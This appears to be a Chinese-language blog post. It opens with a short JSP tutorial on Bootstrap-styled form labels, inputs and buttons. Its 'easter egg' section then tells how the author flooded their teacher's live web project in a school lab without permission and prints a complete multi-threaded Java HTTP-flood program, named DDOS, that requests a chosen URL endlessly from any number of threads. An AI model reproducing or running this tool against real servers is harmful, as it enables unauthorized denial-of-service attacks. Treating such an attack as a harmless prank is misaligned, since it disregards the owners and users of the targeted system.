label、input、button的用法(結尾有彩蛋)

 先引入bootstrap,爲了防止每個網頁都引入,單獨把引入bootstrap寫成一個網頁,然後在其他網頁中用jsp:include動態包含

<!-- res.jsp -->
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>
<link rel = "stylesheet" type = "text/css" 
      href = "ReSources/bootstrap/css/bootstrap.min.css">

 然後寫input.jsp頁面,注意第19行動態包含了res.jsp頁面

<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
  <head>
    <base href="<%=basePath%>">
    
    <title>My JSP 'input.jsp' starting page</title>
    
    <meta http-equiv="pragma" content="no-cache">
    <meta http-equiv="cache-control" content="no-cache">
    <meta http-equiv="expires" content="0">    
    <meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
    <meta http-equiv="description" content="This is my page">
    <jsp:include page = "../res.jsp"/>
  </head>
  
  <body class = "container">
    <div>
        <h3 class = "page-header">request.getPramater()的用法</h3>
        <form action = "" class = "form-horizontal">
            <div class = "form-group">
                <label class = "col-md-3 control-label">學號:</label>
                <div class = "col-md-5">
                    <input type = "text" class = "form-control" placeholder="123456">
                </div>
            </div>
            <div class = "form-group">
                <label class = "col-md-3 control-label">姓名:</label>
                <div class = "col-md-5">
                    <input type = "text" class = "form-control" placeholder="張三">
                </div>
            </div>
            <div class = "form-group">
                <div class = "col-md-offset-3 col-md-5">
                    <button type = "submit" class = "btn btn-primary">提交</button>
                </div>
            </div>
        </form>
    </div>
  </body>
</html>

彩蛋

 其實上面的內容都不重要,老師在機房給我們上課的時候,我試了一下訪問老師的jsp項目,居然成功了,我突然想到一個點子,利用java起很多線程去訪問老師的web項目模擬DDOS,結果不出意料的成功了,先附上代碼,下面講解一下這個代碼

import java.io.*;
import java.net.*;
import java.util.Scanner;

public class DDOS implements Runnable {
    private static String strUrl = null;
    private static long numL = 0L;
    private static Scanner scanner = new Scanner(System.in);

    public void run() {
        HttpURLConnection connection = null;
        InputStream urlStream = null;
        URL url = null;
        while (true)
            try {
                url = new URL(strUrl + numL);
                connection = (HttpURLConnection) url.openConnection();
                connection.connect();
                urlStream = connection.getInputStream();
                if (urlStream != null) {
                    numL += 1L;
                    urlStream.close();
                    System.out.print("\t" + numL);
                    if (numL % 30L == 0L)
                        System.out.println();
                }
                Thread.sleep(10L);
            } catch (InterruptedException e) {
                while (true) {
                    e.getMessage();
                    try {
                        Thread.sleep(1000L);
                    } catch (InterruptedException ie) {
                        ie.printStackTrace();
                    }
                }
            } catch (MalformedURLException e) {
                e.printStackTrace();
            } catch (IOException e) {
                e.printStackTrace();
            }
    }

    public static void main(String[] args) throws MalformedURLException {
        System.out.println("");
        int threadNum;
        while (true) {
            System.out.println("線程數:");
            threadNum = scanner.nextInt();
            System.out.println("網址:");
            String str = scanner.next();
            strUrl = str;
            if (str.indexOf("?") >= 0)
                strUrl += "&num=";
            else
                strUrl += "?num=";
            System.out.println("--------------------------------------");
            System.out.println("線程數:" + threadNum);
            System.out.println("地址:" + str);
            System.out.println("請再次確認(Y/N):");
            String tmp = scanner.next();
            if ("Y".equalsIgnoreCase(tmp))
                break;
            if ("N".equalsIgnoreCase(tmp))
                continue;
            System.out.println("輸入錯誤,請重新輸入(Y/N):");
        }
        for (int i = 0; i < threadNum; ++i) {
            DDOS at = new DDOS();
            Thread t = new Thread(at);
            t.start();
        }
    }
}
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章